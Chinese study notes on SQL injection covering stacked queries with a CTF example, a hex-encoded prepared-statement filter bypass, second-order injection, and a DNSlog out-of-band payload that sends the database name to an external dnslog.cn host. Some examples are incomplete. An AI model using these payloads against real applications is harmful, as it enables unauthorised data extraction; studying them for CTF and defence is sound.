堆叠注入
记忆
根据数据库类型决定是否支持多条语句执行支持堆叠数据库类型:MYSQL MSSQL Postgresql 等,Oracle不行
举例理解
示例1:
#堆叠注入-数据库类型&强网杯 2019 随便注
';show databases; -----显示数据库';show tables; ----显示表名';show columns from `1919810931114514`; ------显示字段从514表中,直接showcolumns不行,需要加表名限定,表名需要使用``包裹';select flag from `1919810931114514`; ---执行失败,设置了过滤';SeT @a=0x73656C65637420666C61672066726F6D206031393139383130393331313134353134603B;prepare execsql from @a;execute execsql; ----使用16进制加预处理的方式绕过图例示例2:这条语句的含义就是查询sy_guestbook表中id=1d的内容,然后再创建一个xiaodi的表,结构与sy_guestbook相同;
二次注入
说白了还是再修改密码的时候后端的sql是拼接然后执行的,黑盒基本上不可能因为不知道哪里会调用你输入的内容,那就不知道如何闭合,注入点在哪;二次注入不一定非要出现再修改密码处,看后端的写法,也有可能是insert
举例理解
#[网鼎杯2018]Unfinh
dnslog带外注入
解决不回显的问题,但是mysql中需要load_file函数的支持
写法:
and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc')))